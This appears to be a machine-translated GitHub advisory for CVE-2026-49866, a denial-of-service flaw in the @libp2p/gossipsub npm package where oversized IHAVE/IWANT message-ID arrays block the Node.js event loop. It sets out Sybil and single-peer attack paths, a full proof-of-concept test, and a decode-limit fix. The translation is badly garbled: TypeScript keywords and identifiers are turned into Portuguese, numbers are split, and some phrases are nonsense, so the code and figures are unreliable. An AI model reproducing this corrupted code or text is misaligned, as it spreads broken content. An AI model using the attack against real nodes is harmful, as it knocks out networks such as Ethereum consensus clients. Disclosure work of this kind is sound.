### Resumo dos processos de fofocas IHAVE e IWANT controlam as mensagens iterando cada ID de mensagem recebida sincronicamente antes de fazer qualquer coisa com os resultados. Não há um cap em quantos IDs um único quadro pode conter. O limite padrão de molduras LP é 4 MB, que se encaixa aproximadamente 180,000 IDs de mensagem. Iterando que muitos ID bloqueiam o loop do evento Node.js para os arredores 200 MS por chamada. As duas variantes têm gravidade diferente. Para o IHAVE há um contador por par por batimento cardíaco que limita cada peer a uma iteração completa por batimento cardíaco, portanto causar um atraso total requer em torno 10 - Similaridade. Para o IWANT não há nenhum contador equivalente, então um único peer streaming continuamente 4 Os quadros de MB podem segurar o loop do evento acima 80% Utilização indefinida. ### Detalhes ### Nenhum cap de decodificação do tempo na contagem de ID da mensagem (`message/decodeRpc.ts: 11 - 19 `) ````typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscrição: Infinity, maxMensagens: Infinity, maxIhaveMessageIDs: Infinity, maxIwantMessageIDs: Infinity, maxIdontMessageIDs: Infinity, maxIdontMessageIDs: Infinity, maxControlMessages: Infinity, maxPeerInfos: Infinity } ``` Estes são os padrão a menos que o operador sobrepasse explicitamente `opts.decodeRpcLimits`. Um ` TODO` no ` gossipsub.ts: 857 ` já anota a lacuna: `// TODO: Verifique o tamanho máximo da mensagem de fofoqueira, antes de decodificarRpc()`. ### IHAVE itera todos os IDs antes de truncamento (`gossipsub.ts: 1311 - 1327 `).

``` tipscript messageIDs.forEach(((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) se (!This.seenCache.has(msgIdStr)) { iwant.set(msgIdStr, msgId) } } // truncation to GossipsubMaxIHaveLongth ( 5000 ) só acontece depois que o loop termina ``` Os contadores de inundações por par (`jasked`, `peerhave`) fazem as coisas de tapa eventualmente: cada par é limitado a 10 IHAVER RPCs e 5000 IDs contados por batimento cardíaco. Depois do primeiro IHAVE de tamanho excessivo de um par, os subsequentes são rejeitados barato. O problema é que o cap é por peer, por isso 10 Sybil faz pares cada um enviando um 180 K-ID IHAVE por batimento cardíaco dá 10 x 150 ms = 1500 ms de trabalho síncrono contra um 1000 Intervalo de batimento cardíaco ms. ### IWANT não tem nenhum limite de taxa (`gossipsub.ts: 1377 - 1394 `) ````Tipe de mensagens IDs?.paraEach((msgId) => { const msgIdStr = este.msgIdToStrFn(msgId) const istry = this.mcache.getWithIWantCount(msgIdStr, id) //... }) ````` Ao contrário do IHAVE, o `handleIWant` não tem o equivalente a `peerhave` ou ` iasked`. Um único par pode enviar RCPs do IWANT continuamente sem limite por batimento cardíaco. O envio de IWANT para mensagens inexistentes não afeta a pontuação do atacante (`onIwantRcv` é apenas métricas), por isso não há desconexão automática. Em 1 Gbps a 4 MB frame chega a cada ~ 32 ms e leva ~ 135 ms a processar, dando aproximadamente 81% Utilização do acoplamento de eventos a partir de uma única conexão. ### Caminhos de ataque **IAVE (requer ~ 10 Os pares Sybil)** O atacante conecta 10 pares, cada subscrição a um tópico que a vítima está em. Novos pares começam na pontuação 0, que está acima do padrão `gossipThreshold` de - 10, assim o processamento do IHAVE está ativo imediatamente. Cada par envia um 4 MB RPC por batimento cardíaco contendo uma única entrada `ControlIHave` com ~ 180,000 IDs de mensagem aleatória. A vítima processa tudo 180,000 IDs por peer antes do contador começar para esse peer. Bloque total do evento-acoplamento: ao redor 1500 ms por 1000 - O batimento cardíaco do ms.

**IWANT (single peer, no Sybil)** O atacante conecta uma vez e flui 4 MB IWANT RCPs continuamente, cada um contendo ~ 180,000 IDs de mensagem aleatória que não existem no cache da vítima. Não se aplica limite de taxa. No centro de dados, a banda de banda do evento fica acima 80% Utilização indefinida. ### Configuração e execução do PoC ``` bash git clone 2 p/js-libp 2 p.git cd js-libp 2 p npm instalar pacotes cd/gossipsub npx aegir build node --experimental-vm-modules.././node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000 Conteúdo de PoC: Importação de texto { parar} de '@ libp 2 Importação p/interface 'afirmar a partir de 'node:assister' importação { desempenho } de 'node:perf_hooks' importação { codificar como lpEncode } de 'importação prefixo-it' { pEvento } de 'p-evento' importação { RPC } de '../src/message/rpc.js' importação { GossipsubMaxiHaveMessages, GossipsubMaxiHaveLongth, GossipsubHeartbeatInterval } de './src/constants.js' importação { criar Componentes, conectePubsubNodes } de './utils/create-pubsub.js' importação tipo { GosipSubAndComponents } de './utils/create-pubsub.js' CONST TOPIC = 'poc-ihave-flood' const MSG_ID_BYTES = 20 // 4 LP de MB limite / ~ 22 bytes por ID da mensagem ( 1 - tag byte + 1 -byte len + 20 bytes) const MSG_IDS_PER_IAVE = 180 _ 000 função aleatóriaMsgIds (contagem: número): Uint 8 Array[] { retorna Array.from( { comprimento: contagem }, () => { const id = novo Uint 8 Array( MSG_ID_BYTES) crypto.getRandomValues(id) retorna id } } descrever('CPU DoS via oversized IHAVE e IWANT controle de arrays de mensagens ', função () { this. timeout( 30 _ 000 ).

deixar vítima: GossipSubAndComponents deixar atacante: GossipSubAndComponents. antes deEach( assinc () => {; [victim, atacante] = esperar Promise.all([ createComponents({ init: { permitPublishToZeroTopicPeers: true } }), createComponents({ init: { permitPublishToZeroTopicPeers: true } }) ]) // Ambos subscrevem o tópico para que a vítima constrói uma entrada de malha vítima.pubsub.subscribe(TOPIC) atacante.pubsub.subscribe(TOPIC) aguarde conectarPubsubNodes(víctima, atacante). // Espere por um batimento cardíaco para que a malha da vítima inclua o atacante aguarde pEvent(victim.pubsub, 'gossipsub: heartbeat') }) afterEach(async () => { aguarde stop( victim.pubsub, attacker.pubsub,...Object.values(victim.components),...Object.values(atacker.components) ) }). it( 'BYPASS: IHAVE com 180 IDs de mensagem K bloqueia loop de eventos para ~ 135 ms', async () => { const attackerIdStr = attacker.components.peerId.toString() // Verificar o atacante está na malha da vítima (necessário para o manuseioIHave to iterete IDs) const mashPeers = (victim.pubsub como qualquer).mesh.get(TOPIC) como Set ї indefinido se (meshPeers == nullї.meshPeers.has(atackerIdStr)) { // Forçar a adesão à malha para o PoC se o batimento do coração ainda não o construiu se (meshPeers == null) { (victim.pubsub como qualquer).mesh.set(TOPIC, novo Set([atackerIdStr])) } senão { mashPeers.add(atackerIdStr) } }.

IDs de mensagem const = randomMsgIds(MSG_IDS_PER_IAVE). // Invoke handleIvove diretamente const t 0 = performance.now() const iwant = (victim.pubsub como qualquer).handleIHave( atacanteIdStr, [{ tópicoID: tópico, mensagensIDs }] ) como Array const transcorrido = performance.now() - t 0 console.log(`\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IAVE.toLocaleString()} IDs: ${elasted.toFixed() 0 )} ms event-loop block`) console.log(`[PoC] Response capted at: ${iwant[ 0 ]?.messageIDs?.longitude?? 0 } IWANTS (limite: ${GossipsubMaxIHaveLongth}) console.log(`[PoC] Intervalo de batimento cardíaco: ${GossipsubHeartbeatInterval} ms`) // O tempo de bloqueio deve ser significativo (>> 10 ms) para um significante DoS assert.ok(elasced > 50, ` esperada > 50 Bloqueio de loop de eventos ms para IDs ${MSG_IDS_PER_IAVE}, obteve ${elased.toFixed( 0 )}ms`) // A vítima caps a resposta independentemente de quantos IDs foram iterados assert.ok( iwant[ 0 ]?.messageIDs?.longeza <= GossipsubMaxIHaveLongth, `resposta deve ser plafonada em ${GosipsubMaxIHaveLongth}` ) }) it('MULTI- PEER: N pairs × 1 HÁVEIS cada, reiniciações solicitadas por peer, escalas de blocos totais linearmente', async () => { const N_PEERS = 10 IDs de mensagem const = randomMsgIds(MSG_IDS_PER_IAVE).

// Garantir que a malha inclua um tópico de marca de lugares, por isso!this.mesh.has(topicID) passa por falsoMeshPeers: Set = novo Set();(victim.pubsub como qualquer).mesh.set(TOPIC, falsoMeshPeers) deixando totalAgorado = 0. para (deixar i = 0; i < N_ PEERS; i++) { // Cada peer "Sybil" usa uma única cadeia de ID de peer const falsePeerId = ` 12 D 3 KooW${i.toString(.padStart( 36, ' 0 ')}` falsoMeshPeers.add(fakePeerId) // Contadores recentes: simula um pai que a vítima não viu este batimento cardíaco; (victim.pubsub como qualquer).peerhave.delete(fakePeerId); (victim.pubsub como qualquer).iasked.delete(fakePeerId) // Pontuação padrão para 0 (> fofocaSolo de - 10 ): nenhuma entrada de pontuação necessária const t 0 = performance.now(); (victim.pubsub como qualquer).handleIHave(fakePeerId, [{ tópicoID: tópico, mensagensIDs }]) const transpensed = performance.now() - t 0 totalAgotado += decorrido processo.stdout.write(` peer ${i + 1 }/${N_PEERS}: ${ transcorreu.toFixed( 0 )} ms\n`)}.

rácio const = totalElased / GossipsubHeartbeatConsole Interval.log(`\n[PoC] ${N_PEERS} pares × ${MSG_IDS_PER_IAVAVE.toLocaleString()} IDs: ${totalElased.toFixed() 0 )} ms total`) console.log(`[PoC] Intervalo de batimento cardíaco: ${GossipsubHeartbeatInterval} ms`) console.log(`[PoC] Razão (bloco / batimento cardíaco): ${ratio.toFixed( 2 )}x`) console.log(`[PoC] Custo de atacante: ${N_PEERS} × 4 MB = ${N_PEERS * 4 } MB/s outbound`) console.log(`[PoC] Cada pedido de peer reset no batimento cardíaco — sustentável indefinidamente`) // 10 os pares devem facilmente exceder o 1 s intervalo cardíaco asserte.ok( totalAgotado > GossipsubHeartbeatInterval * 0.9, ` esperava ${N_ PEERS} para bloquear ≥ ${GossipsubHeartbeatInterval * 0.9 } ms, tem ${totalElased.toFixed( 0 )} ms` ) ) it(' ENCODE: criado 180 O RCP do K- ID IHAVE encaixa dentro 4 Límite de molduras MB LP', () => { const messageIDs = randomMsgIds(MSG_IDS_PER_IAVE) const rpc = RPC. encode( { subscriçãos: [], mensagens: [], controle: { ihave: [{ tópicoID: tópico, mensagensIDs }], iwant: [], enxerto: [], prune: [], idontwant: [] } }) const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGUA a partir dele-prefixado com comprimento.

console.log(`\n[PoC]] Tamanho do RPC serializado: ${(rpc.byteLongueza / ( 1024 * 1024 )). para Fixado( 2 )} MB`) console.log(`[PoC] LP frame limit: ${MAX_LP_BYTES / ( 1024 * 1024 )} MB`) console.log(`[PoC] Encaixa em um quadro: ${rpc.byteLongueza <= MAX_LP_BYTES? 'YES ✓': 'Nenhum ї'}`) console.log(`[PoC] padrãoDecodeRpcLimits.maxIhaveMessageIDs = Infinity (sem tampa de nível de decodificação)`) asserte.ok(rpc.byteLongth <= MAX_LP_BYTES, ` crafted RPC (${rpc.byteLongth} bytes) deve caber no 4 MB LP padrão — confirma nenhuma proteção de nível LP`) }) }) ``` A variante IWANT tem o mesmo tempo por quadro, mas não precisa de pares Sybil. Um PoC IWANT separado pode ser fornecido a pedido. ### Impacto Qualquer nó executando `@libp 2 p/ gossipsub` com opções padrão que aceitam conexões de entrada é afetado. Isto inclui clientes consenso Ethereum usando js-libp 2 p (Lodestar), nós IPFS com pubsub ativado e qualquer coisa que chame `criarLibp 2 p( { serviços: { pubsub: fofoque sub() } })`. Com 10 Sybil compara a variante IHAVE bloqueia o loop do evento para 1.5 x o intervalo cardíaco continuamente. O nó não pode enviar mensagens, executar o batimento cardíaco ou responder a pares legítimos. A variante IWANT obtém o mesmo resultado a partir de uma única conexão na banda de banda do centro de dados.

Os nós que configuram explicitamente ` opts.decodeRpcLimits` com valores finitos não são afetados. Definir padrões finitos em `decodeRpc.ts`: ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: 128, maxMessages: 256, maxI haveMessageIDs: 5 _ 000, maxIwantMessageIDs: 5 _ 000, maxIdontMensagemIDs: 5 _ 000, maxControlMessages: 128, maxPeerInfos: 16 } ``` Configurando `maxIndo IDs de Mensagem` e `maxIndo IDs de Mensagem` para 5000 (comparação com ` GossipsubMaxIHaveLength`) limita o custo de iteração ao limite de resposta em vez de entrada do atacante. Registro de aconselhamento: GHSA- cwc 9 - cp 4 - O que é isso? Identificadores relacionados: CVE- 2026 - 49866.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 10 T 16: 04: 49.000 Z e lista a sua última modificação como 2026 - 07 - 10 T 16: 04: 49.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. Informações sobre software e versão afetadas: pacote npm @libp 2 p/ gossipsub — ECOSISTEM: introduzido 0, corrigido 16.0.0. Classificação e evidência: identificadores de fraqueza CWE- 20, CWE- 400, CWE- 770. O registro contém 6 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.